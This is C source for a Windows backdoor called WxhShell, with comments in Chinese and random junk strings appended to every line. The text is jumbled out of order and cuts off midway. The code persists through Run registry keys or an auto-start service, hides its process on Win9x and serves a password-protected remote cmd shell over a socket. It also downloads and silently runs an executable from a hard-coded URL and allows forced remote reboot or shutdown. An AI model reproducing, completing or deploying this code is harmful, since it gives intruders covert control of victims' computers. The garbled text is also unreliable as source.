    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $X.X_  
    if(Boot(SHUTDOWN)) EW* 's(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PV2cZ/  
    else { jLULf+ 8&  
    closesocket(wsh); iU5Aj:U3  
    ExitThread(0); 7p}.r J54  
    } uZyR{~-C  
    break; VfJbexYT  
    } i;1EXM  
  // 获取shell x5Sc+5?*  
  case 's': { x<  Td  
    CmdShell(wsh); erG;M!9\  
    closesocket(wsh); lP@/x+6tg  
    ExitThread(0); +^St"GWY  
    break; {9 >jWNx  
  } @K 8sNPK  
  // 退出 @wWro?s'p  
  case 'x': { J!Kk7 !^|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y.O/~af  
    CloseIt(wsh); zSYh\g"  
    break; ZMSP8(V  
    } `-l, `7e'  
  // 离开 q@;z((45  
  case 'q': { ''9FB5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k1A64?p  
    closesocket(wsh); a95QDz  
    WSACleanup(); QR!8n  
    exit(1); *siN#,5  
    break; 09Sy- je*/  
        } oG! S(95  
  } * /S=9n0  
  } ,0^:q)_  
Td&w  
  // 提示信息 ^]He]FW':G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wcy N, 5  
} kfF.Ctr1a  
  } t^h {D   
rPV\ F  
  return; Pg3O )D9  
} fP41 B  
ZJotg *I  
// shell模块句柄 8ODrW!o  
int CmdShell(SOCKET sock) Qrt[MJ+#  
{ +L4_]  
STARTUPINFO si; i,=CnZCh  
ZeroMemory(&si,sizeof(si)); b|i94y(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zOR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <r*A(}Y  
PROCESS_INFORMATION ProcessInfo; \R >!HY  
char cmdline[]="cmd"; ;cBFft}D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qt_LBJUWV  
  return 0; 8oI)q4V  
} ~!c~jcq]lZ  
' LT6%<|  
// 自身启动模式 UR~9*`Z ,  
int StartFromService(void) lGa'Y  
{ d#@N2  
typedef struct LTsG  
{ o0:[,ock  
  DWORD ExitStatus; &H!#jh\w  
  DWORD PebBaseAddress; \JBJ$lBL  
  DWORD AffinityMask; h9)QQPP  
  DWORD BasePriority; dm60O8  
  ULONG UniqueProcessId; U?u0|Y+  
  ULONG InheritedFromUniqueProcessId; eMf+b;~R  
}   PROCESS_BASIC_INFORMATION; $ctY#:;pV{  
VWoxi$3v  
PROCNTQSIP NtQueryInformationProcess; I|=$.i  
t:m2[U_}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wq!n8O1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C LhD[/Fo  
UE4zmIq  
  HANDLE             hProcess; f`X#1w9  
  PROCESS_BASIC_INFORMATION pbi; &xF 2!t`  
dU]>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gt3;Xi  
  if(NULL == hInst ) return 0; >pKu G#  
=N-,.{`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i"uAT$xe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]k[y#oB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CB5 ~!nKv&  
%(`4wo},  
  if (!NtQueryInformationProcess) return 0; RHo|&.B;+  
ZbJUOa?WF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N 3)OH6w"  
  if(!hProcess) return 0; pA9:1*+;;  
|q?I(b4Q@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t 7D2k2x9  
PgZ~of&  
  CloseHandle(hProcess); U!sv6=(y@  
1]r+$L3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); irNGURLm  
if(hProcess==NULL) return 0; s}Q%]W  
dKcHj<'E/  
HMODULE hMod; p1 tfN$-  
char procName[255]; %=J<WA6\  
unsigned long cbNeeded; 4a;8XAl  
rJJI<{$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dB7E&"f  
D/_=rAl1  
  CloseHandle(hProcess); ;8UHnhk_O  
?U]/4]  
if(strstr(procName,"services")) return 1; // 以服务启动 C[:Q?LE  
'z\K0  
  return 0; // 注册表启动 y: @[QhV  
} vVF#]t b|  
4*9y4"  
// 主模块 rm*Jo|eH`  
int StartWxhshell(LPSTR lpCmdLine) 9V&%_.Z  
{ N1ZHaZ  
  SOCKET wsl; F kas*79  
BOOL val=TRUE; $smzP.V  
  int port=0; I(E1ym  
  struct sockaddr_in door; 2 @g'3M  
C !81Km5  
  if(wscfg.ws_autoins) Install(); SGMLs'D   
9viQ<}K<  
port=atoi(lpCmdLine); r=dFk?8XbC  
S86%o,Saq\  
if(port<=0) port=wscfg.ws_port; uY;-x~Z  
7SE=otZ>  
  WSADATA data; 7>EjP&l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k*\=IacX0  
LQSno)OZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &*Eyw s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8cy#[{u`;  
  door.sin_family = AF_INET; 95giqQ(N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -\@&^e  
  door.sin_port = htons(port); t#mW`rGE_  
k3se<NL[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zs!)w9y&V  
closesocket(wsl); WF<0QH  
return 1; ^ MkT">  
} 6.|f iQs ]  
2E/#fX9!4  
  if(listen(wsl,2) == INVALID_SOCKET) { $~4ZuV%  
closesocket(wsl); Nko;I?Fn  
return 1; 8}m] XO  
} ZWW:-3  
  Wxhshell(wsl); Y'kD_T`f,  
  WSACleanup(); + oyW_!(  
D .| h0gU  
return 0; @AL,@P/9=  
li\hHd5  
} & v=2u,]T  
6sl*Ko[  
// 以NT服务方式启动 Kd CPt!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SE{$a3`UzP  
{ pdsjX)O+f  
DWORD   status = 0; ~DcX}VCm  
  DWORD   specificError = 0xfffffff; o<locZ  
UT$G?D";M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EKf"e*|(L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !G3O!]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 72} MspzUt  
  serviceStatus.dwWin32ExitCode     = 0; [Z0&`qz  
  serviceStatus.dwServiceSpecificExitCode = 0; yB(^t`)}N  
  serviceStatus.dwCheckPoint       = 0; ]c8lZO>  
  serviceStatus.dwWaitHint       = 0; !<}<HR^ )  
&ZFsK c#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /AWV@ '  
  if (hServiceStatusHandle==0) return; :*TfGV  
h,<%cvU=  
status = GetLastError(); i Nf+ -C3  
  if (status!=NO_ERROR) J=W"FEXTL7  
{  Mi.xay%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VN|P(S6  
    serviceStatus.dwCheckPoint       = 0; \(jSkrrD  
    serviceStatus.dwWaitHint       = 0; IZeWswz  
    serviceStatus.dwWin32ExitCode     = status; GEy^*, d  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9>d$a2 nc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $I!vQbi  
    return; cEO g  
  } ~P|YAaFx  
!0ySS {/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o6K\z+.{  
  serviceStatus.dwCheckPoint       = 0; HgE^#qD?  
  serviceStatus.dwWaitHint       = 0; erYpeq.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *nU7v3D  
} d@pD5n=m;  
21M@z(q*  
// 处理NT服务事件,比如:启动、停止 /og2+!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l,HMm|oU  
{ Ra[{K@  
switch(fdwControl) s CSrwsbhv  
{ U,Nf&g  
case SERVICE_CONTROL_STOP: TIlcdpwXf  
  serviceStatus.dwWin32ExitCode = 0; lM"@vNgK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !HM{imT  
  serviceStatus.dwCheckPoint   = 0; i3s-l8\\z  
  serviceStatus.dwWaitHint     = 0; q( i|  
  { 4dv+RRpGOv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HE. `  
  } +j&4[;8P:  
  return; CHv~H.kh'  
case SERVICE_CONTROL_PAUSE: z#GZvB/z)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hb=4k)-/]  
  break; cD Z]r@AQ  
case SERVICE_CONTROL_CONTINUE: 0Z8K+,'!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rgdDkWLXC  
  break; QRhR.:M\  
case SERVICE_CONTROL_INTERROGATE: bNp RGhlV  
  break; a_w# ,^/P  
}; l~Hs]*jm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5`*S'W}\>  
} K+TRt"W8&s  
dGMBgj  
// 标准应用程序主函数 I0sd%'Ht?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hq"i0X m  
{ ,95Nj h  
=K~<& l8  
// 获取操作系统版本 BZ<Q.:)  
OsIsNt=GetOsVer(); 4]u53`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NMM0'tY~  
rq Dre`m  
  // 从命令行安装 DG}t!  
  if(strpbrk(lpCmdLine,"iI")) Install(); >`Gys8T  
3iJ4VL7  
  // 下载执行文件 Q3u P7j  
if(wscfg.ws_downexe) { m^@,0\F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c?"#x-<1s  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'J#u ;KJ  
} E$=!l{Ms  
lNowH0K!D  
if(!OsIsNt) { -("sp  
// 如果时win9x,隐藏进程并且设置为注册表启动 !"j?dQ.U;  
HideProc(); '@i/?rNi%N  
StartWxhshell(lpCmdLine); i]a 5cn  
} rg)>ZHx  
else x6\EU=,  
  if(StartFromService()) jQ@z!GirT  
  // 以服务方式启动 R}>xpU1  
  StartServiceCtrlDispatcher(DispatchTable); CEq0ZL-W  
else CWdA8)n.  
  // 普通方式启动 %WiDz0o  
  StartWxhshell(lpCmdLine); 5Jh=${  
='a[(C&Y  
return 0; e<6fe-g9;  
} <xOXuve  
({i}EC7{  
QI'ule  
t J N;WK.6  
=========================================== /]=Ih  
aFGEHZJQ  
s'qd%JxD  
4*< x0  
Y^Y|\0  
2'Cwx-_G`  
" .;)7)%  
W0J d2*]  
#include <stdio.h> XdjM/hB{fD  
#include <string.h> Md mS  
#include <windows.h> {.qeVE{  
#include <winsock2.h> 5P-7"g ca  
#include <winsvc.h> fmrd 7*MW  
#include <urlmon.h> \/J>I1J  
=~6A c}$  
#pragma comment (lib, "Ws2_32.lib") 6^y*A!xY  
#pragma comment (lib, "urlmon.lib") xCGa3X  
jU.z{(s  
#define MAX_USER   100 // 最大客户端连接数 d*$$E  
#define BUF_SOCK   200 // sock buffer /#lhRNX  
#define KEY_BUFF   255 // 输入 buffer T'B43Q  
]=!wMn**  
#define REBOOT     0   // 重启 ?~c=Sa-  
#define SHUTDOWN   1   // 关机 $_IvzbOh  
8 9o&KF]  
#define DEF_PORT   5000 // 监听端口 i#]}k  
PKFjM~J  
#define REG_LEN     16   // 注册表键长度 Evu`e=LaG  
#define SVC_LEN     80   // NT服务名长度 ,|6 O}E&  
FFX-kS  
// 从dll定义API 0=O(+ yi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wd*8w$\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9"hH2jc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  "TE F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >>/|Q:  
s)C5u;3!  
// wxhshell配置信息 RQxL`7H  
struct WSCFG { /}A"F[5  
  int ws_port;         // 监听端口 n]:Xmi8p  
  char ws_passstr[REG_LEN]; // 口令 4o?_G[  
  int ws_autoins;       // 安装标记, 1=yes 0=no " O0p.o  
  char ws_regname[REG_LEN]; // 注册表键名 EZnXS"z  
  char ws_svcname[REG_LEN]; // 服务名 U|SF;T .  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n'*4zxAA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2q]y(kW+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ehCGu( =  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )N$T&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nc;cb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d1CQ;,Df<  
San3^uX  
}; QL/I/EgqC  
<8;SSdoKi  
// default Wxhshell configuration !2L?8oP-z  
struct WSCFG wscfg={DEF_PORT, N~NUBEKcp  
    "xuhuanlingzhe", 9#(Nd, m})  
    1, *{WhUHZF  
    "Wxhshell", SFqY*:svOw  
    "Wxhshell", E,IeW {6s  
            "WxhShell Service", R 6JHRd  
    "Wrsky Windows CmdShell Service", iB4`w\-o  
    "Please Input Your Password: ", D2}N6i  
  1, Nini8@d  
  "http://www.wrsky.com/wxhshell.exe", oP >+2.i  
  "Wxhshell.exe" $fifx>!  
    }; 7p1f*N[X  
kIl!n  
// 消息定义模块 Gbj^oo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vYl2_\,Y?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }fC=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :Kq]b@ X  
char *msg_ws_ext="\n\rExit."; 9r2l~zE  
char *msg_ws_end="\n\rQuit."; RvQa&r5l  
char *msg_ws_boot="\n\rReboot..."; @vyq?H$U;N  
char *msg_ws_poff="\n\rShutdown..."; YoDL/  
char *msg_ws_down="\n\rSave to "; g{ ()   
b5i ehoA  
char *msg_ws_err="\n\rErr!"; EKu%I~eM  
char *msg_ws_ok="\n\rOK!"; [G!#y  
lo!^h]iE!  
char ExeFile[MAX_PATH]; +G: CR,Z>+  
int nUser = 0; 6_mkt|E=  
HANDLE handles[MAX_USER]; i?{)o]i  
int OsIsNt; KXrZ:4bg  
 iYaS  
SERVICE_STATUS       serviceStatus; *Wj]e%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N!~O~ Eo3  
 zSd!n  
// 函数声明 Ww=^P{q\  
int Install(void); Gxhr0'  
int Uninstall(void); [D%(Y ~2  
int DownloadFile(char *sURL, SOCKET wsh); X,xCR]+5S  
int Boot(int flag); &&PXWR!%]  
void HideProc(void); lcVZ 32MQ  
int GetOsVer(void); uH{oJSrK  
int Wxhshell(SOCKET wsl); %eOO8^N  
void TalkWithClient(void *cs); gOy;6\/  
int CmdShell(SOCKET sock); l+nT$IPF  
int StartFromService(void); wn-1fz <d  
int StartWxhshell(LPSTR lpCmdLine); *Jwx,wF}4  
ldFR%v> 9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zgNzdO/B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?3 S{>+'  
h0.2^vM)R  
// 数据结构和表定义 n }kn|To~  
SERVICE_TABLE_ENTRY DispatchTable[] = /\. [@]  
{ {gz-w|7  
{wscfg.ws_svcname, NTServiceMain}, 2A=q{7s  
{NULL, NULL} v<3KxP'a  
}; =h\unQ1T  
'MgYSP<  
// 自我安装 c/DK31K  
int Install(void) O!G!Gq&  
{ zm!M'|~@7  
  char svExeFile[MAX_PATH]; 4`e[gvh  
  HKEY key; q6'Q-e)  
  strcpy(svExeFile,ExeFile); !8e;3W  
-e4TqzRr  
// 如果是win9x系统,修改注册表设为自启动 1*GL;W~ix*  
if(!OsIsNt) { fc&djd`FuX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F|a'^:Qs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ID: tTltcc  
  RegCloseKey(key); OKPNsN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JIiS/]KQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ({3Ap{Q}  
  RegCloseKey(key); 1/f{1k  
  return 0; lqTc6@:D  
    } r2*8.j51  
  } \,xa_zeO  
} H+{@V B  
else { hd*GDjmRQ/  
B:Y F|k}T  
// 如果是NT以上系统,安装为系统服务 W{%X1::q$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vk> &  
if (schSCManager!=0) n$ rgJ  
{ BCfmnE4%  
  SC_HANDLE schService = CreateService ,j6 R/sg  
  ( GT7&>}FJ)  
  schSCManager, &\=Tm~  
  wscfg.ws_svcname, U8.V Rn  
  wscfg.ws_svcdisp, 7`j%5%q  
  SERVICE_ALL_ACCESS, %M3L<2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '}^qz#w   
  SERVICE_AUTO_START, }Y^o("c(  
  SERVICE_ERROR_NORMAL, Q=6 1.lP6  
  svExeFile, _N {4Rs0  
  NULL, %8H$62w]  
  NULL, uPq@6,+  
  NULL, to'CuPkT  
  NULL, ypgM&"eR  
  NULL Uc,MZV4  
  ); 0xx4rp H  
  if (schService!=0) j 1;<3)%0  
  { DRpF EWsm  
  CloseServiceHandle(schService); >F>VlRg  
  CloseServiceHandle(schSCManager); km*Y#`{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hVz] wKP  
  strcat(svExeFile,wscfg.ws_svcname); "O'c.v?{x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 182g6/,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O/U?Wq  
  RegCloseKey(key); HSWki';G  
  return 0; {+m8^-T  
    } ,CI-IR2  
  } a>6D3n W  
  CloseServiceHandle(schSCManager); Q6HghG  
} TQu.jC  
} HC} vO0X4  
\HIBnkj)3n  
return 1; !?>QN'p.b  
} vV xw*\`<6  
74ho=  
// 自我卸载 U)xebU.!S  
int Uninstall(void) }h sNsQ   
{ DZ @B9<Zz{  
  HKEY key; dk^jv +  
] s^7c  
if(!OsIsNt) { v6|j.;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Q62I\  
  RegDeleteValue(key,wscfg.ws_regname); BT&R:_:  
  RegCloseKey(key); gxhdxSm=2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -uxU[E  
  RegDeleteValue(key,wscfg.ws_regname); u]Q}jqiq"  
  RegCloseKey(key); +;\w'dBi,  
  return 0; }K={HW1>  
  } 'pT13RFD  
} ? )h8uf4  
} Yn[>Y)  
else { c9G%;U)  
(5@H<c^6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X 0iy  
if (schSCManager!=0) !uoT8BBAk  
{ oN[}i6^,e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }S8aR:'  
  if (schService!=0)  B$6KI  
  { E}KGZSj  
  if(DeleteService(schService)!=0) { 4#}aLP  
  CloseServiceHandle(schService); ImG8v[Q E  
  CloseServiceHandle(schSCManager); qFK.ULgP`  
  return 0;  4pl\qf  
  } 5'NNwc\  
  CloseServiceHandle(schService); 1)^\R(l  
  } =.7tS'  
  CloseServiceHandle(schSCManager); EcL6lNTR+  
} .8Bu%Sf  
} 9tU"+  
O Bcz'f~  
return 1; 6lCpf1>6@  
} `u}_O(A1pA  
mZ2CG O R  
// 从指定url下载文件 :{N*Z}]  
int DownloadFile(char *sURL, SOCKET wsh) U#c Gd\b  
{ 'iF%mnJ  
  HRESULT hr; f] #\&"  
char seps[]= "/"; u178vby;l  
char *token; Ovc9x\N  
char *file; JH{/0x#+  
char myURL[MAX_PATH]; "5L?RkFi\  
char myFILE[MAX_PATH]; >t.Lc.  
A"ATtid  
strcpy(myURL,sURL); nhdZC@~E0  
  token=strtok(myURL,seps); -N% V5 TN  
  while(token!=NULL) hcj]T?  
  { 6i-G{)=l  
    file=token; T 5Zh2Q@  
  token=strtok(NULL,seps); +Eh.PWEe  
  } bS;_xDXd  
McN[  
GetCurrentDirectory(MAX_PATH,myFILE); r}&&e BY f  
strcat(myFILE, "\\"); FJDC^@Ne  
strcat(myFILE, file); J{^md0l  
  send(wsh,myFILE,strlen(myFILE),0); X5YOxMq  
send(wsh,"...",3,0); t$(#$Z,RS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CDM6o!ur3  
  if(hr==S_OK) _\KFMe= PV  
return 0; Dc@O Mr  
else 5"@>>"3U  
return 1; {Y@shf;  
~9 .=t'  
} 7tXy3-~biz  
'bJGQ[c  
// 系统电源模块 Bkd$'7UT  
int Boot(int flag) e)wi}\:q_  
{ _$96y]Bpi  
  HANDLE hToken; ed`"xm  
  TOKEN_PRIVILEGES tkp; \894 Jqh  
#?Kw y  
  if(OsIsNt) { 0: a2ER|J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $*942. =Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pdRM%ug   
    tkp.PrivilegeCount = 1; ?/OF=C#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~*7$aj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E+i*u   
if(flag==REBOOT) { z'm}p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %h@1lsm1+  
  return 0; F| eWHw?t  
} 'KA$^  
else { 4?1Qe\A^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '";#v.!  
  return 0; ?).;cG:<  
} ?)|}gr  
  } <4LJ #Fx  
  else { z )'9[t  
if(flag==REBOOT) { h40;Q<D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  I8?  
  return 0; Q__CW5&'u  
} {ogBoDS  
else { p /-du^:2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *rmC3'}s  
  return 0; ?4%H(k5A  
} [(@K;6o  
} -y-}g[`  
3A!a7]fW  
return 1; >O?WRC B  
} `Y:]&w  
PP$sdmo  
// win9x进程隐藏模块 (M$0'BV0  
void HideProc(void) s{@R|5  
{ G<e+sDQ2  
q13fmK(n-5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -*' ?D@l  
  if ( hKernel != NULL ) _ l|%~  
  { ?9()ya-TE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UON=7}=$&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); = g{I`u  
    FreeLibrary(hKernel); %PYO9:n  
  } :s_> y_=g  
K>DN6{hnV;  
return; Cq!eAc  
} FE\E%_K'n7  
kw$ 7G1Q  
// 获取操作系统版本 ~{I.qv)>M~  
int GetOsVer(void) + f67y  
{ ri{*\LV*@  
  OSVERSIONINFO winfo; TI DgIK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vW=-RTRH  
  GetVersionEx(&winfo); Qp:I[:Lr;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bib<ySCre  
  return 1; mcV<)UA}  
  else m`-);y  
  return 0; BuV71/Vb{Q  
} P`lv_oV  
$(9QnH1KY  
// 客户端句柄模块 .2f vRN92  
int Wxhshell(SOCKET wsl) M M@,J<  
{ RRt(%Wm*  
  SOCKET wsh; &YXJ{<s  
  struct sockaddr_in client; "tCTkog3]  
  DWORD myID; `MVqd16Y  
G x[ZHpy;  
  while(nUser<MAX_USER) aj`&ca8  
{ fs ufYIf  
  int nSize=sizeof(client); 8:{id>Mm^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 77@N79lqO  
  if(wsh==INVALID_SOCKET) return 1; !"F;wg$  
,/w*sE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~(V\.hq  
if(handles[nUser]==0) G]>yk_#/\U  
  closesocket(wsh); zL yI|%KH  
else )$n%4 :  
  nUser++; /A7( `l;6  
  } r !Aj5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~</FF'Xz  
!1)aie+p6  
  return 0; ",b:rgpRp  
} Dx-P]j)4x  
x]c8?H9,&  
// 关闭 socket Ocdy;|&  
void CloseIt(SOCKET wsh) yl-:9|LT  
{ }/a%-07R  
closesocket(wsh); |'?vlUCd  
nUser--; `NW/Z/_  
ExitThread(0); V.*TOU{{xh  
} BD C DQ  
E@SFK=`  
// 客户端请求句柄 =K`.$R  
void TalkWithClient(void *cs) >1s a*Wf  
{ L0wT:x*  
W"Ip]LJ  
  SOCKET wsh=(SOCKET)cs; eq6O6-  
  char pwd[SVC_LEN]; DC8#b`j  
  char cmd[KEY_BUFF]; L0g+RohW  
char chr[1]; [KK |_  
int i,j; MLWHO$C~T  
N1~bp?$1  
  while (nUser < MAX_USER) { y&$n[j  
#|b*l/t8  
if(wscfg.ws_passstr) { wm`<+K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t*(bF[?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x4^nT=?6_  
  //ZeroMemory(pwd,KEY_BUFF); D;Qx9^.  
      i=0; D^6*Cwb  
  while(i<SVC_LEN) { XG/xMz~  
Ooz ,?wU6  
  // 设置超时 .==D?#bn  
  fd_set FdRead; 6iU&9Z<%  
  struct timeval TimeOut; 8o5[tl ?w  
  FD_ZERO(&FdRead); [{7#IZL  
  FD_SET(wsh,&FdRead);  _<S!tW  
  TimeOut.tv_sec=8; st RM *.  
  TimeOut.tv_usec=0; E`fG9:6l]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )7 p" -  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =?OU^ u`C  
=d{6=2Pt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4zMvHe  
  pwd=chr[0]; [bh?p+V  
  if(chr[0]==0xd || chr[0]==0xa) { 40kAGs>_  
  pwd=0; i6if\B  
  break; G)7U &B  
  } 60+zoL'  
  i++; 6^b)Q(Edut  
    } +KTfGwKt  
7%^G ]AFi  
  // 如果是非法用户,关闭 socket JH.XZM&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P)Adb~r  
} h[remR# 3\  
PF~@@j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -$Fj-pO\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J8:s=#5  
C7%R2>}?f  
while(1) { tRoSq;VrS  
At.& $ t  
  ZeroMemory(cmd,KEY_BUFF); mo| D  
5T;LWS  
      // 自动支持客户端 telnet标准   ahl|N`  
  j=0; gnp.!-  
  while(j<KEY_BUFF) { t=P+m   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0nwi5  
  cmd[j]=chr[0]; <j'K7We/tP  
  if(chr[0]==0xa || chr[0]==0xd) { rbd0`J9fq  
  cmd[j]=0; Dd?G4xUG  
  break; agUdI_'~@9  
  } ^)dsi  
  j++; CPJ<A,V  
    } doanTF4Da  
[K4cxqlfk  
  // 下载文件 bg zd($)u  
  if(strstr(cmd,"http://")) {  y<Koc>8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KtQs uL%  
  if(DownloadFile(cmd,wsh)) IO\1nB$0nb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N'2?Zb  
  else J||g(+H>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E'WXi!>7p  
  } zb0NqIN:  
  else { u2#q7}  
ud/!@WG  
    switch(cmd[0]) { v<1@"9EH  
  84(Jo_9  
  // 帮助 (@^9oN~}  
